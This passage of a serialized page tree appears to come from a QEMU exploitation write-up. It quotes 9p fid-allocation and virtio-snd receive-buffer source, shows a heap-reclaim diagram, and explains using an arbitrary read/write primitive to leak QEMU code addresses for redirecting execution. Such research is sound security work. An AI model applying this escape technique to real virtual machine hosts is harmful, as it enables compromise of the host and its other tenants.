",{"type":25,"tag":216,"props":134079,"children":134080},{"style":6947},[134081],{"type":31,"value":266},{"type":25,"tag":216,"props":134083,"children":134084},{"style":6947},[134085],{"type":31,"value":55218},{"type":25,"tag":216,"props":134087,"children":134088},{"style":6958},[134089],{"type":31,"value":134090},"EINVAL;\n",{"type":25,"tag":216,"props":134092,"children":134093},{"class":6916,"line":7585},[134094,134098],{"type":25,"tag":216,"props":134095,"children":134096},{"style":6967},[134097],{"type":31,"value":64511},{"type":25,"tag":216,"props":134099,"children":134100},{"style":6958},[134101],{"type":31,"value":64516},{"type":25,"tag":216,"props":134103,"children":134104},{"class":6916,"line":7598},[134105],{"type":25,"tag":216,"props":134106,"children":134107},{"style":6958},[134108],{"type":31,"value":7296},{"type":25,"tag":216,"props":134110,"children":134111},{"class":6916,"line":7607},[134112,134117,134121,134126,134130,134135,134139,134143],{"type":25,"tag":216,"props":134113,"children":134114},{"style":6941},[134115],{"type":31,"value":134116},"        newfidp",{"type":25,"tag":216,"props":134118,"children":134119},{"style":6958},[134120],{"type":31,"value":17708},{"type":25,"tag":216,"props":134122,"children":134123},{"style":6941},[134124],{"type":31,"value":134125},"uid",{"type":25,"tag":216,"props":134127,"children":134128},{"style":6947},[134129],{"type":31,"value":6950},{"type":25,"tag":216,"props":134131,"children":134132},{"style":6941},[134133],{"type":31,"value":134134}," fidp",{"type":25,"tag":216,"props":134136,"children":134137},{"style":6958},[134138],{"type":31,"value":17708},{"type":25,"tag":216,"props":134140,"children":134141},{"style":6941},[134142],{"type":31,"value":134125},{"type":25,"tag":216,"props":134144,"children":134145},{"style":6958},[134146],{"type":31,"value":6961},{"type":25,"tag":216,"props":134148,"children":134149},{"class":6916,"line":7630},[134150,134155,134159,134163,134168,134172,134176,134180,134184],{"type":25,"tag":216,"props":134151,"children":134152},{"style":7041},[134153],{"type":31,"value":134154},"        v9fs_path_copy",{"type":25,"tag":216,"props":134156,"children":134157},{"style":6958},[134158],{"type":31,"value":1844},{"type":25,"tag":216,"props":134160,"children":134161},{"style":6947},[134162],{"type":31,"value":7053},{"type":25,"tag":216,"props":134164,"children":134165},{"style":6941},[134166],{"type":31,"value":134167},"newfidp",{"type":25,"tag":216,"props":134169,"children":134170},{"style":6958},[134171],{"type":31,"value":17708},{"type":25,"tag":216,"props":134173,"children":134174},{"style":6941},[134175],{"type":31,"value":116262},{"type":25,"tag":216,"props":134177,"children":134178},{"style":6958},[134179],{"type":31,"value":7020},{"type":25,"tag":216,"props":134181,"children":134182},{"style":6947},[134183],{"type":31,"value":7053},{"type":25,"tag":216,"props":134185,"children":134186},{"style":6958},[134187],{"type":31,"value":134188},"path);\n",{"type":25,"tag":216,"props":134190,"children":134191},{"class":6916,"line":7639},[134192],{"type":25,"tag":216,"props":134193,"children":134194},{"style":6958},[134195],{"type":31,"value":7305},{"type":25,"tag":216,"props":134197,"children":134198},{"class":6916,"line":7648},[134199],{"type":25,"tag":216,"props":134200,"children":134201},{"emptyLinePlaceholder":16},[134202],{"type":31,"value":7636},{"type":25,"tag":216,"props":134204,"children":134205},{"class":6916,"line":7716},[134206],{"type":25,"tag":216,"props":134207,"children":134208},{"style":6958},[134209],{"type":31,"value":108753},{"type":25,"tag":216,"props":134211,"children":134212},{"class":6916,"line":7724},[134213],{"type":25,"tag":216,"props":134214,"children":134215},{"style":6958},[134216],{"type":31,"value":7868},{"type":25,"tag":216,"props":134218,"children":134219},{"class":6916,"line":7754},[134220],{"type":25,"tag":216,"props":134221,"children":134222},{"emptyLinePlaceholder":16},[134223],{"type":31,"value":7636},{"type":25,"tag":216,"props":134225,"children":134226},{"class":6916,"line":7762},[134227,134231,134236,134240,134244,134249,134253,134257,134261,134266,134271],{"type":25,"tag":216,"props":134228,"children":134229},{"style":6930},[134230],{"type":31,"value":55007},{"type":25,"tag":216,"props":134232,"children":134233},{"style":6958},[134234],{"type":31,"value":134235}," V9fsFidState ",{"type":25,"tag":216,"props":134237,"children":134238},{"style":6947},[134239],{"type":31,"value":8513},{"type":25,"tag":216,"props":134241,"children":134242},{"style":7041},[134243],{"type":31,"value":133853},{"type":25,"tag":216,"props":134245,"children":134246},{"style":6958},[134247],{"type":31,"value":134248},"(V9fsState ",{"type":25,"tag":216,"props":134250,"children":134251},{"style":6947},[134252],{"type":31,"value":8513},{"type":25,"tag":216,"props":134254,"children":134255},{"style":6941},[134256],{"type":31,"value":3239},{"type":25,"tag":216,"props":134258,"children":134259},{"style":6958},[134260],{"type":31,"value":7020},{"type":25,"tag":216,"props":134262,"children":134263},{"style":6930},[134264],{"type":31,"value":134265},"int32_t",{"type":25,"tag":216,"props":134267,"children":134268},{"style":6941},[134269],{"type":31,"value":134270}," fid",{"type":25,"tag":216,"props":134272,"children":134273},{"style":6958},[134274],{"type":31,"value":7101},{"type":25,"tag":216,"props":134276,"children":134277},{"class":6916,"line":7794},[134278],{"type":25,"tag":216,"props":134279,"children":134280},{"style":6958},[134281],{"type":31,"value":14830},{"type":25,"tag":216,"props":134283,"children":134284},{"class":6916,"line":7802},[134285,134289,134293],{"type":25,"tag":216,"props":134286,"children":134287},{"style":6958},[134288],{"type":31,"value":132017},{"type":25,"tag":216,"props":134290,"children":134291},{"style":6947},[134292],{"type":31,"value":8513},{"type":25,"tag":216,"props":134294,"children":134295},{"style":6958},[134296],{"type":31,"value":55128},{"type":25,"tag":216,"props":134298,"children":134299},{"class":6916,"line":7862},[134300],{"type":25,"tag":216,"props":134301,"children":134302},{"emptyLinePlaceholder":16},[134303],{"type":31,"value":7636},{"type":25,"tag":216,"props":134305,"children":134306},{"class":6916,"line":12995},[134307,134312,134316,134321,134325,134329,134333,134338,134342,134347],{"type":25,"tag":216,"props":134308,"children":134309},{"style":6958},[134310],{"type":31,"value":134311},"    f ",{"type":25,"tag":216,"props":134313,"children":134314},{"style":6947},[134315],{"type":31,"value":266},{"type":25,"tag":216,"props":134317,"children":134318},{"style":7041},[134319],{"type":31,"value":134320}," g_hash_table_lookup",{"type":25,"tag":216,"props":134322,"children":134323},{"style":6958},[134324],{"type":31,"value":1844},{"type":25,"tag":216,"props":134326,"children":134327},{"style":6941},[134328],{"type":31,"value":3239},{"type":25,"tag":216,"props":134330,"children":134331},{"style":6958},[134332],{"type":31,"value":17708},{"type":25,"tag":216,"props":134334,"children":134335},{"style":6941},[134336],{"type":31,"value":134337},"fids",{"type":25,"tag":216,"props":134339,"children":134340},{"style":6958},[134341],{"type":31,"value":7020},{"type":25,"tag":216,"props":134343,"children":134344},{"style":7041},[134345],{"type":31,"value":134346},"GINT_TO_POINTER",{"type":25,"tag":216,"props":134348,"children":134349},{"style":6958},[134350],{"type":31,"value":134351},"(fid));\n",{"type":25,"tag":216,"props":134353,"children":134354},{"class":6916,"line":13013},[134355,134359],{"type":25,"tag":216,"props":134356,"children":134357},{"style":6967},[134358],{"type":31,"value":16229},{"type":25,"tag":216,"props":134360,"children":134361},{"style":6958},[134362],{"type":31,"value":134363}," (f) {\n",{"type":25,"tag":216,"props":134365,"children":134366},{"class":6916,"line":13058},[134367],{"type":25,"tag":216,"props":134368,"children":134369},{"style":6921},[134370],{"type":31,"value":134371},"        /* If fid is already there return NULL */\n",{"type":25,"tag":216,"props":134373,"children":134374},{"class":6916,"line":13164},[134375,134380,134384,134388,134392,134397],{"type":25,"tag":216,"props":134376,"children":134377},{"style":7041},[134378],{"type":31,"value":134379},"        BUG_ON",{"type":25,"tag":216,"props":134381,"children":134382},{"style":6958},[134383],{"type":31,"value":1844},{"type":25,"tag":216,"props":134385,"children":134386},{"style":6941},[134387],{"type":31,"value":37041},{"type":25,"tag":216,"props":134389,"children":134390},{"style":6958},[134391],{"type":31,"value":17708},{"type":25,"tag":216,"props":134393,"children":134394},{"style":6941},[134395],{"type":31,"value":134396},"clunked",{"type":25,"tag":216,"props":134398,"children":134399},{"style":6958},[134400],{"type":31,"value":7791},{"type":25,"tag":216,"props":134402,"children":134403},{"class":6916,"line":27449},[134404,134408,134412],{"type":25,"tag":216,"props":134405,"children":134406},{"style":6967},[134407],{"type":31,"value":19696},{"type":25,"tag":216,"props":134409,"children":134410},{"style":6930},[134411],{"type":31,"value":131696},{"type":25,"tag":216,"props":134413,"children":134414},{"style":6958},[134415],{"type":31,"value":6961},{"type":25,"tag":216,"props":134417,"children":134418},{"class":6916,"line":27484},[134419],{"type":25,"tag":216,"props":134420,"children":134421},{"style":6958},[134422],{"type":31,"value":7305},{"type":25,"tag":216,"props":134424,"children":134425},{"class":6916,"line":27492},[134426,134430,134434,134439,134444,134448],{"type":25,"tag":216,"props":134427,"children":134428},{"style":6958},[134429],{"type":31,"value":134311},{"type":25,"tag":216,"props":134431,"children":134432},{"style":6947},[134433],{"type":31,"value":266},{"type":25,"tag":216,"props":134435,"children":134436},{"style":7041},[134437],{"type":31,"value":134438}," g_new0",{"type":25,"tag":216,"props":134440,"children":134441},{"style":6958},[134442],{"type":31,"value":134443},"(V9fsFidState, ",{"type":25,"tag":216,"props":134445,"children":134446},{"style":6983},[134447],{"type":31,"value":184},{"type":25,"tag":216,"props":134449,"children":134450},{"style":6958},[134451],{"type":31,"value":7791},{"type":25,"tag":216,"props":134453,"children":134454},{"class":6916,"line":27500},[134455],{"type":25,"tag":216,"props":134456,"children":134457},{"emptyLinePlaceholder":16},[134458],{"type":31,"value":7636},{"type":25,"tag":216,"props":134460,"children":134461},{"class":6916,"line":27509},[134462],{"type":25,"tag":216,"props":134463,"children":134464},{"style":6958},[134465],{"type":31,"value":108753},{"type":25,"tag":38,"props":134467,"children":134468},{},[134469,134471,134476],{"type":31,"value":134470},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":25,"tag":82,"props":134472,"children":134474},{"className":134473},[],[134475],{"type":31,"value":133271},{"type":31,"value":132608},{"type":25,"tag":206,"props":134478,"children":134480},{"code":134479},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[134481],{"type":25,"tag":82,"props":134482,"children":134483},{"__ignoreMap":7},[134484],{"type":31,"value":134479},{"type":25,"tag":631,"props":134486,"children":134488},{"id":134487},"leaking-a-qemu-address",[134489],{"type":31,"value":134490},"Leaking a QEMU Address",{"type":25,"tag":38,"props":134492,"children":134493},{},[134494],{"type":31,"value":134495},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":25,"tag":38,"props":134497,"children":134498},{},[134499,134501,134506],{"type":31,"value":134500},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":25,"tag":82,"props":134502,"children":134504},{"className":134503},[],[134505],{"type":31,"value":127691},{"type":31,"value":1466},{"type":25,"tag":206,"props":134508,"children":134510},{"code":134509,"language":2248,"meta":7,"className":20467,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[134511],{"type":25,"tag":82,"props":134512,"children":134513},{"__ignoreMap":7},[134514,134557,134564,134595,134610,134625,134637,134650,134657,134664,134671,134682,134697,134704,134732,134751,134762,134769,134777,134814,134835,134847,134860,134873,134899,134911,134918,134956,134963,134970,134977,135008,135063,135075,135116,135139,135168,135195,135222,135254],{"type":25,"tag":216,"props":134515,"children":134516},{"class":6916,"line":6917},[134517,134521,134525,134529,134533,134537,134541,134545,134549,134553],{"type":25,"tag":216,"props":134518,"children":134519},{"style":6930},[134520],{"type":31,"value":55007},{"type":25,"tag":216,"props":134522,"children":134523},{"style":6930},[134524],{"type":31,"value":55012},{"type":25,"tag":216,"props":134526,"children":134527},{"style":7041},[134528],{"type":31,"value":127770},{"type":25,"tag":216,"props":134530,"children":134531},{"style":6958},[134532],{"type":31,"value":127775},{"type":25,"tag":216,"props":134534,"children":134535},{"style":6947},[134536],{"type":31,"value":8513},{"type":25,"tag":216,"props":134538,"children":134539},{"style":6941},[134540],{"type":31,"value":127784},{"type":25,"tag":216,"props":134542,"children":134543},{"style":6958},[134544],{"type":31,"value":127789},{"type":25,"tag":216,"props":134546,"children":134547},{"style":6947},[134548],{"type":31,"value":8513},{"type":25,"tag":216,"props":134550,"children":134551},{"style":6941},[134552],{"type":31,"value":127798},{"type":25,"tag":216,"props":134554,"children":134555},{"style":6958},[134556],{"type":31,"value":7101},{"type":25,"tag":216,"props":134558,"children":134559},{"class":6916,"line":6763},[134560],{"type":25,"tag":216,"props":134561,"children":134562},{"style":6958},[134563],{"type":31,"value":14830},{"type":25,"tag":216,"props":134565,"children":134566},{"class":6916,"line":6772},[134567,134572,134576,134581,134585,134590],{"type":25,"tag":216,"props":134568,"children":134569},{"style":6958},[134570],{"type":31,"value":134571},"    VirtIOSound ",{"type":25,"tag":216,"props":134573,"children":134574},{"style":6947},[134575],{"type":31,"value":8513},{"type":25,"tag":216,"props":134577,"children":134578},{"style":6958},[134579],{"type":31,"value":134580},"vsnd ",{"type":25,"tag":216,"props":134582,"children":134583},{"style":6947},[134584],{"type":31,"value":266},{"type":25,"tag":216,"props":134586,"children":134587},{"style":7041},[134588],{"type":31,"value":134589}," VIRTIO_SND",{"type":25,"tag":216,"props":134591,"children":134592},{"style":6958},[134593],{"type":31,"value":134594},"(vdev);\n",{"type":25,"tag":216,"props":134596,"children":134597},{"class":6916,"line":6999},[134598,134602,134606],{"type":25,"tag":216,"props":134599,"children":134600},{"style":6958},[134601],{"type":31,"value":128788},{"type":25,"tag":216,"props":134603,"children":134604},{"style":6947},[134605],{"type":31,"value":8513},{"type":25,"tag":216,"props":134607,"children":134608},{"style":6958},[134609],{"type":31,"value":128797},{"type":25,"tag":216,"props":134611,"children":134612},{"class":6916,"line":7104},[134613,134617,134621],{"type":25,"tag":216,"props":134614,"children":134615},{"style":6958},[134616],{"type":31,"value":127817},{"type":25,"tag":216,"props":134618,"children":134619},{"style":6947},[134620],{"type":31,"value":8513},{"type":25,"tag":216,"props":134622,"children":134623},{"style":6958},[134624],{"type":31,"value":127826},{"type":25,"tag":216,"props":134626,"children":134627},{"class":6916,"line":7210},[134628,134632],{"type":25,"tag":216,"props":134629,"children":134630},{"style":6930},[134631],{"type":31,"value":20517},{"type":25,"tag":216,"props":134633,"children":134634},{"style":6958},[134635],{"type":31,"value":134636}," msg_sz, size;\n",{"type":25,"tag":216,"props":134638,"children":134639},{"class":6916,"line":7238},[134640,134645],{"type":25,"tag":216,"props":134641,"children":134642},{"style":6930},[134643],{"type":31,"value":134644},"    uint32_t",{"type":25,"tag":216,"props":134646,"children":134647},{"style":6958},[134648],{"type":31,"value":134649}," stream_id;\n",{"type":25,"tag":216,"props":134651,"children":134652},{"class":6916,"line":7251},[134653],{"type":25,"tag":216,"props":134654,"children":134655},{"emptyLinePlaceholder":16},[134656],{"type":31,"value":7636},{"type":25,"tag":216,"props":134658,"children":134659},{"class":6916,"line":7269},[134660],{"type":25,"tag":216,"props":134661,"children":134662},{"style":6958},[134663],{"type":31,"value":108753},{"type":25,"tag":216,"props":134665,"children":134666},{"class":6916,"line":7290},[134667],{"type":25,"tag":216,"props":134668,"children":134669},{"emptyLinePlaceholder":16},[134670],{"type":31,"value":7636},{"type":25,"tag":216,"props":134672,"children":134673},{"class":6916,"line":7299},[134674,134678],{"type":25,"tag":216,"props":134675,"children":134676},{"style":6967},[134677],{"type":31,"value":6970},{"type":25,"tag":216,"props":134679,"children":134680},{"style":6958},[134681],{"type":31,"value":127852},{"type":25,"tag":216,"props":134683,"children":134684},{"class":6916,"line":7551},[134685,134689,134693],{"type":25,"tag":216,"props":134686,"children":134687},{"style":6958},[134688],{"type":31,"value":127860},{"type":25,"tag":216,"props":134690,"children":134691},{"style":6947},[134692],{"type":31,"value":8513},{"type":25,"tag":216,"props":134694,"children":134695},{"style":6958},[134696],{"type":31,"value":127869},{"type":25,"tag":216,"props":134698,"children":134699},{"class":6916,"line":7568},[134700],{"type":25,"tag":216,"props":134701,"children":134702},{"emptyLinePlaceholder":16},[134703],{"type":31,"value":7636},{"type":25,"tag":216,"props":134705,"children":134706},{"class":6916,"line":7585},[134707,134711,134715,134719,134723,134727],{"type":25,"tag":216,"props":134708,"children":134709},{"style":6958},[134710],{"type":31,"value":127884},{"type":25,"tag":216,"props":134712,"children":134713},{"style":6947},[134714],{"type":31,"value":266},{"type":25,"tag":216,"props":134716,"children":134717},{"style":7041},[134718],{"type":31,"value":127893},{"type":25,"tag":216,"props":134720,"children":134721},{"style":6958},[134722],{"type":31,"value":127898},{"type":25,"tag":216,"props":134724,"children":134725},{"style":6930},[134726],{"type":31,"value":59290},{"type":25,"tag":216,"props":134728,"children":134729},{"style":6958},[134730],{"type":31,"value":134731},"(VirtQueueElement));\n",{"type":25,"tag":216,"props":134733,"children":134734},{"class":6916,"line":7598},[134735,134739,134743,134747],{"type":25,"tag":216,"props":134736,"children":134737},{"style":6967},[134738],{"type":31,"value":7216},{"type":25,"tag":216,"props":134740,"children":134741},{"style":6958},[134742],{"type":31,"value":7010},{"type":25,"tag":216,"props":134744,"children":134745},{"style":6947},[134746],{"type":31,"value":24575},{"type":25,"tag":216,"props":134748,"children":134749},{"style":6958},[134750],{"type":31,"value":127932},{"type":25,"tag":216,"props":134752,"children":134753},{"class":6916,"line":7607},[134754,134758],{"type":25,"tag":216,"props":134755,"children":134756},{"style":6967},[134757],{"type":31,"value":7244},{"type":25,"tag":216,"props":134759,"children":134760},{"style":6958},[134761],{"type":31,"value":6961},{"type":25,"tag":216,"props":134763,"children":134764},{"class":6916,"line":7630},[134765],{"type":25,"tag":216,"props":134766,"children":134767},{"style":6958},[134768],{"type":31,"value":7296},{"type":25,"tag":216,"props":134770,"children":134771},{"class":6916,"line":7639},[134772],{"type":25,"tag":216,"props":134773,"children":134774},{"style":6921},[134775],{"type":31,"value":134776},"        /* get the message hdr object */\n",{"type":25,"tag":216,"props":134778,"children":134779},{"class":6916,"line":7648},[134780,134785,134789,134794,134798,134802,134806,134810],{"type":25,"tag":216,"props":134781,"children":134782},{"style":6958},[134783],{"type":31,"value":134784},"        msg_sz ",{"type":25,"tag":216,"props":134786,"children":134787},{"style":6947},[134788],{"type":31,"value":266},{"type":25,"tag":216,"props":134790,"children":134791},{"style":7041},[134792],{"type":31,"value":134793}," iov_to_buf",{"type":25,"tag":216,"props":134795,"children":134796},{"style":6958},[134797],{"type":31,"value":1844},{"type":25,"tag":216,"props":134799,"children":134800},{"style":6941},[134801],{"type":31,"value":56026},{"type":25,"tag":216,"props":134803,"children":134804},{"style":6958},[134805],{"type":31,"value":17708},{"type":25,"tag":216,"props":134807,"children":134808},{"style":6941},[134809],{"type":31,"value":128336},{"type":25,"tag":216,"props":134811,"children":134812},{"style":6958},[134813],{"type":31,"value":7459},{"type":25,"tag":216,"props":134815,"children":134816},{"class":6916,"line":7716},[134817,134822,134826,134831],{"type":25,"tag":216,"props":134818,"children":134819},{"style":6941},[134820],{"type":31,"value":134821},"                            elem",{"type":25,"tag":216,"props":134823,"children":134824},{"style":6958},[134825],{"type":31,"value":17708},{"type":25,"tag":216,"props":134827,"children":134828},{"style":6941},[134829],{"type":31,"value":134830},"out_num",{"type":25,"tag":216,"props":134832,"children":134833},{"style":6958},[134834],{"type":31,"value":7459},{"type":25,"tag":216,"props":134836,"children":134837},{"class":6916,"line":7724},[134838,134843],{"type":25,"tag":216,"props":134839,"children":134840},{"style":6983},[134841],{"type":31,"value":134842},"                            0",{"type":25,"tag":216,"props":134844,"children":134845},{"style":6958},[134846],{"type":31,"value":7459},{"type":25,"tag":216,"props":134848,"children":134849},{"class":6916,"line":7754},[134850,134855],{"type":25,"tag":216,"props":134851,"children":134852},{"style":6947},[134853],{"type":31,"value":134854},"                            &",{"type":25,"tag":216,"props":134856,"children":134857},{"style":6958},[134858],{"type":31,"value":134859},"hdr,\n",{"type":25,"tag":216,"props":134861,"children":134862},{"class":6916,"line":7762},[134863,134868],{"type":25,"tag":216,"props":134864,"children":134865},{"style":6930},[134866],{"type":31,"value":134867},"                            sizeof",{"type":25,"tag":216,"props":134869,"children":134870},{"style":6958},[134871],{"type":31,"value":134872},"(virtio_snd_pcm_xfer));\n",{"type":25,"tag":216,"props":134874,"children":134875},{"class":6916,"line":7794},[134876,134880,134885,134889,134894],{"type":25,"tag":216,"props":134877,"children":134878},{"style":6967},[134879],{"type":31,"value":7216},{"type":25,"tag":216,"props":134881,"children":134882},{"style":6958},[134883],{"type":31,"value":134884}," (msg_sz ",{"type":25,"tag":216,"props":134886,"children":134887},{"style":6947},[134888],{"type":31,"value":19640},{"type":25,"tag":216,"props":134890,"children":134891},{"style":6930},[134892],{"type":31,"value":134893}," sizeof",{"type":25,"tag":216,"props":134895,"children":134896},{"style":6958},[134897],{"type":31,"value":134898},"(virtio_snd_pcm_xfer)) {\n",{"type":25,"tag":216,"props":134900,"children":134901},{"class":6916,"line":7802},[134902,134906],{"type":25,"tag":216,"props":134903,"children":134904},{"style":6967},[134905],{"type":31,"value":64511},{"type":25,"tag":216,"props":134907,"children":134908},{"style":6958},[134909],{"type":31,"value":134910}," rx_err;\n",{"type":25,"tag":216,"props":134912,"children":134913},{"class":6916,"line":7862},[134914],{"type":25,"tag":216,"props":134915,"children":134916},{"style":6958},[134917],{"type":31,"value":7296},{"type":25,"tag":216,"props":134919,"children":134920},{"class":6916,"line":12995},[134921,134926,134930,134934,134938,134943,134947,134952],{"type":25,"tag":216,"props":134922,"children":134923},{"style":6958},[134924],{"type":31,"value":134925},"        stream_id ",{"type":25,"tag":216,"props":134927,"children":134928},{"style":6947},[134929],{"type":31,"value":266},{"type":25,"tag":216,"props":134931,"children":134932},{"style":7041},[134933],{"type":31,"value":129798},{"type":25,"tag":216,"props":134935,"children":134936},{"style":6958},[134937],{"type":31,"value":1844},{"type":25,"tag":216,"props":134939,"children":134940},{"style":6941},[134941],{"type":31,"value":134942},"hdr",{"type":25,"tag":216,"props":134944,"children":134945},{"style":6958},[134946],{"type":31,"value":179},{"type":25,"tag":216,"props":134948,"children":134949},{"style":6941},[134950],{"type":31,"value":134951},"stream_id",{"type":25,"tag":216,"props":134953,"children":134954},{"style":6958},[134955],{"type":31,"value":7791},{"type":25,"tag":216,"props":134957,"children":134958},{"class":6916,"line":13013},[134959],{"type":25,"tag":216,"props":134960,"children":134961},{"emptyLinePlaceholder":16},[134962],{"type":31,"value":7636},{"type":25,"tag":216,"props":134964,"children":134965},{"class":6916,"line":13058},[134966],{"type":25,"tag":216,"props":134967,"children":134968},{"style":6958},[134969],{"type":31,"value":127965},{"type":25,"tag":216,"props":134971,"children":134972},{"class":6916,"line":13164},[134973],{"type":25,"tag":216,"props":134974,"children":134975},{"emptyLinePlaceholder":16},[134976],{"type":31,"value":7636},{"type":25,"tag":216,"props":134978,"children":134979},{"class":6916,"line":27449},[134980,134984,134988,134992,134996,135000,135004],{"type":25,"tag":216,"props":134981,"children":134982},{"style":7041},[134983],{"type":31,"value":127980},{"type":25,"tag":216,"props":134985,"children":134986},{"style":6958},[134987],{"type":31,"value":1844},{"type":25,"tag":216,"props":134989,"children":134990},{"style":6947},[134991],{"type":31,"value":7053},{"type":25,"tag":216,"props":134993,"children":134994},{"style":6941},[134995],{"type":31,"value":40218},{"type":25,"tag":216,"props":134997,"children":134998},{"style":6958},[134999],{"type":31,"value":17708},{"type":25,"tag":216,"props":135001,"children":135002},{"style":6941},[135003],{"type":31,"value":128001},{"type":25,"tag":216,"props":135005,"children":135006},{"style":6958},[135007],{"type":31,"value":18755},{"type":25,"tag":216,"props":135009,"children":135010},{"class":6916,"line":27484},[135011,135015,135019,135023,135027,135031,135035,135039,135043,135047,135051,135055,135059],{"type":25,"tag":216,"props":135012,"children":135013},{"style":6958},[135014],{"type":31,"value":128013},{"type":25,"tag":216,"props":135016,"children":135017},{"style":6947},[135018],{"type":31,"value":266},{"type":25,"tag":216,"props":135020,"children":135021},{"style":7041},[135022],{"type":31,"value":128022},{"type":25,"tag":216,"props":135024,"children":135025},{"style":6958},[135026],{"type":31,"value":1844},{"type":25,"tag":216,"props":135028,"children":135029},{"style":6941},[135030],{"type":31,"value":56026},{"type":25,"tag":216,"props":135032,"children":135033},{"style":6958},[135034],{"type":31,"value":17708},{"type":25,"tag":216,"props":135036,"children":135037},{"style":6941},[135038],{"type":31,"value":128039},{"type":25,"tag":216,"props":135040,"children":135041},{"style":6958},[135042],{"type":31,"value":7020},{"type":25,"tag":216,"props":135044,"children":135045},{"style":6941},[135046],{"type":31,"value":56026},{"type":25,"tag":216,"props":135048,"children":135049},{"style":6958},[135050],{"type":31,"value":17708},{"type":25,"tag":216,"props":135052,"children":135053},{"style":6941},[135054],{"type":31,"value":128056},{"type":25,"tag":216,"props":135056,"children":135057},{"style":6958},[135058],{"type":31,"value":7030},{"type":25,"tag":216,"props":135060,"children":135061},{"style":6947},[135062],{"type":31,"value":54824},{"type":25,"tag":216,"props":135064,"children":135065},{"class":6916,"line":27492},[135066,135070],{"type":25,"tag":216,"props":135067,"children":135068},{"style":6930},[135069],{"type":31,"value":128072},{"type":25,"tag":216,"props":135071,"children":135072},{"style":6958},[135073],{"type":31,"value":135074},"(virtio_snd_pcm_status);\n",{"type":25,"tag":216,"props":135076,"children":135077},{"class":6916,"line":27500},[135078,135082,135086,135090,135094,135098,135102,135106,135111],{"type":25,"tag":216,"props":135079,"children":135080},{"style":6958},[135081],{"type":31,"value":128090},{"type":25,"tag":216,"props":135083,"children":135084},{"style":6947},[135085],{"type":31,"value":266},{"type":25,"tag":216,"props":135087,"children":135088},{"style":7041},[135089],{"type":31,"value":128099},{"type":25,"tag":216,"props":135091,"children":135092},{"style":6958},[135093],{"type":31,"value":1844},{"type":25,"tag":216,"props":135095,"children":135096},{"style":6930},[135097],{"type":31,"value":59290},{"type":25,"tag":216,"props":135099,"children":135100},{"style":6958},[135101],{"type":31,"value":128112},{"type":25,"tag":216,"props":135103,"children":135104},{"style":6947},[135105],{"type":31,"value":3533},{"type":25,"tag":216,"props":135107,"children":135108},{"style":6958},[135109],{"type":31,"value":135110}," size);",{"type":25,"tag":216,"props":135112,"children":135113},{"style":6921},[135114],{"type":31,"value":135115},"    // [1]\n",{"type":25,"tag":216,"props":135117,"children":135118},{"class":6916,"line":27509},[135119,135123,135127,135131,135135],{"type":25,"tag":216,"props":135120,"children":135121},{"style":6941},[135122],{"type":31,"value":128129},{"type":25,"tag":216,"props":135124,"children":135125},{"style":6958},[135126],{"type":31,"value":17708},{"type":25,"tag":216,"props":135128,"children":135129},{"style":6941},[135130],{"type":31,"value":56026},{"type":25,"tag":216,"props":135132,"children":135133},{"style":6947},[135134],{"type":31,"value":6950},{"type":25,"tag":216,"props":135136,"children":135137},{"style":6958},[135138],{"type":31,"value":128146},{"type":25,"tag":216,"props":135140,"children":135141},{"class":6916,"line":27551},[135142,135146,135150,135154,135158,135163],{"type":25,"tag":216,"props":135143,"children":135144},{"style":6941},[135145],{"type":31,"value":128129},{"type":25,"tag":216,"props":135147,"children":135148},{"style":6958},[135149],{"type":31,"value":17708},{"type":25,"tag":216,"props":135151,"children":135152},{"style":6941},[135153],{"type":31,"value":127798},{"type":25,"tag":216,"props":135155,"children":135156},{"style":6947},[135157],{"type":31,"value":6950},{"type":25,"tag":216,"props":135159,"children":135160},{"style":6958},[135161],{"type":31,"value":135162}," vq;",{"type":25,"tag":216,"props":135164,"children":135165},{"style":6921},[135166],{"type":31,"value":135167},"                                            // [2]\n",{"type":25,"tag":216,"props":135169,"children":135170},{"class":6916,"line":27584},[135171,135175,135179,135183,135187,135191],{"type":25,"tag":216,"props":135172,"children":135173},{"style":6941},[135174],{"type":31,"value":128129},{"type":25,"tag":216,"props":135176,"children":135177},{"style":6958},[135178],{"type":31,"value":17708},{"type":25,"tag":216,"props":135180,"children":135181},{"style":6941},[135182],{"type":31,"value":128186},{"type":25,"tag":216,"props":135184,"children":135185},{"style":6947},[135186],{"type":31,"value":6950},{"type":25,"tag":216,"props":135188,"children":135189},{"style":6983},[135190],{"type":31,"value":6986},{"type":25,"tag":216,"props":135192,"children":135193},{"style":6958},[135194],{"type":31,"value":6961},{"type":25,"tag":216,"props":135196,"children":135197},{"class":6916,"line":27592},[135198,135202,135206,135210,135214,135218],{"type":25,"tag":216,"props":135199,"children":135200},{"style":6941},[135201],{"type":31,"value":128129},{"type":25,"tag":216,"props":135203,"children":135204},{"style":6958},[135205],{"type":31,"value":17708},{"type":25,"tag":216,"props":135207,"children":1352